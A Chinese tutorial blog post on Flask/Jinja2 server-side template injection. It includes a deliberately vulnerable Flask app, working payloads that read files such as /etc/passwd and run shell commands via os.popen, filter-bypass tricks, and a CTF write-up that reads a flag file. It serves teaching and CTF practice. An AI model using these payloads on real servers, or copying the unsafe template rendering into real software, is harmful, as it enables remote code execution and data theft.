前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >(精编)Python与安全(三)SSTI服务器模板注入

(精编)Python与安全(三)SSTI服务器模板注入

作者头像
Power7089
发布2020-07-27 16:37:14
7560
发布2020-07-27 16:37:14
举报

此文章为原创连载文章,关注公众号,持续更新。

SSTI基本判断

Python中的魔术方法

__dict__保存类实例或对象实例的属性变量键值对字典

__class__返回类实例或对象实例所属的对象

__mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。

__bases__返回类所继承的基类。但不包含所继承类的父类。

__init__类的初始化方法

__globals__对包含函数全局变量的引用

__subclasses__()获取一个类的子类,返回的是一个列表

下面是示例,自己可以运行一下看看,会理解的更快(我运行环境是3.7的)

class people:
    name = ''
    age = 0
    __weight = 0
    def __init__(self, n, a, w):
        self.name = n
        self.age = a
        self.__weight = w
    def speak(self):
        pass
class student(people):
    grade = ''
    def __init__(self, n, a, w, g):
        people.__init__(self, n, a, w)
        self.grade = g
    def speak(self):
        pass
class speaker():
    topic = ''
    name = ''
    def __init__(self, n, t):
        self.name = n
        self.topic = t
    def speak(self):
        pass
class sample(speaker, student):
    a = ''
    def __init__(self, n, a, w, g, t):
        student.__init__(self, n, a, w, g)
        speaker.__init__(self, n, t)
test = sample("Tim", 25, 80, 4, "Python")

#测试

print(test.__dict__)
print(test.__class__)
print(sample.__mro__)
print(sample.__bases__)
print(sample.__init__)
print(sample.speak.__globals__)
print(sample.__init__.__globals__)
print(speaker.__subclasses__())
print(sample.__subclasses__())

Python注入语句

以下语句均在python3.7.7环境中测试。

测试脚本:

# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/<str>')
def hello_world(str):
    template = '''
    {%% block body %%}
        <div>
            <h1>Here is test!!!</h1>
            <h3>%s</h3>
        </div> 
    {%% endblock %%}
    '''%(str)
    return render_template_string(template)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

1 获取基本类

首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如flask.request):

''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

2 文件读取

<class '_frozen_importlib._ModuleLock'>

{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}

上面的''.__class__.__mro__[1].__subclasses__()[75]等于

<class '_frozen_importlib._ModuleLock'>,下面同理。

<class 'click.utils.LazyFile'>

{{ ''.__class__.__mro__[1].__subclasses__()[345]('test.txt').read()}}

3 命令执行

<class 'warnings.catch_warnings'>

{{ ''.__class__.__mro__[1].__subclasses__()[183].__init__.__globals__.values()['eval']('__import__("os").popen('id').read()') }}

<class '_frozen_importlib._ModuleLock'>

''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__

下有eval,__import__等的全局函数,可以利用此来执行命令:

#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

代码注入

我们可以参考P神的文章(https://github.com/vulhub/vulhub/tree/master/flask/ssti)

p神构造的语句:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

其实我们我们也可以参考上面自己代码自己写。

在上面的注入语句中,虽然简短,但是在不同版本的python中就会有一下差别,所以不能完全的通用,但是代码注入这不需要太多考虑python版本问题。

比如我们可以把文件读取语句写成代码:

示例:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_ModuleLock' %}
  {% for b in c.__init__.__globals__ %}
           {%if b =='__builtins__' %}
                   {% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %}
           {%endif%}
  {% endfor %}
{% endif %}
{% endfor %}

自己可以动手试试。

常用绕过

1 过滤[]和.

只过滤[]

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

''.__class__.__mro__.__getitem__(1).__subclasses__().pop(40)('/etc/passwd').read()

若.也被过滤,使用原生JinJa2函数|attr()

将request.__class__改成request|attr("__class__")

2 过滤_

利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

3 关键字过滤

(1) base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

(2)字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(3)使用session

poc{{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

4 过滤{{

使用{% if ...%}1{% endif %},例如

{%if’’.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()%}1{% endif %}

5 Tips

(1)使用__base__

如`{}.__class__.__base__`

和`{}.__class__.__bases__[0]`效果一样

(2)可用于访问对象的属性:

request.__class__
request["__class__"]
request|attr("__class__")

(3)下面方法访问数组元素:

array[0]
array.pop(0)
array.__getitem__(2)

案例分析

案例是GYCT2020的FlaskAPP,可以到BUUCTF(https://buuoj.cn/challenges)中找到题目。

可以直接利用P神写的POC进行getshell,但有过滤,可以拆分关键词进行绕过:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fla'+'g.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

先对上面的POC进行base64加密再解密:

参考:

https://www.cnblogs.com/20175211lyz/p/11425368.html

https://xz.aliyun.com/t/3679#toc-11

https://www.smi1e.top/flask-jinja2-ssti-%E5%AD%A6%E4%B9%A0/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员阿甘 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • <class '_frozen_importlib._ModuleLock'>
  • <class 'click.utils.LazyFile'>
  • <class 'warnings.catch_warnings'>
  • <class '_frozen_importlib._ModuleLock'>
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档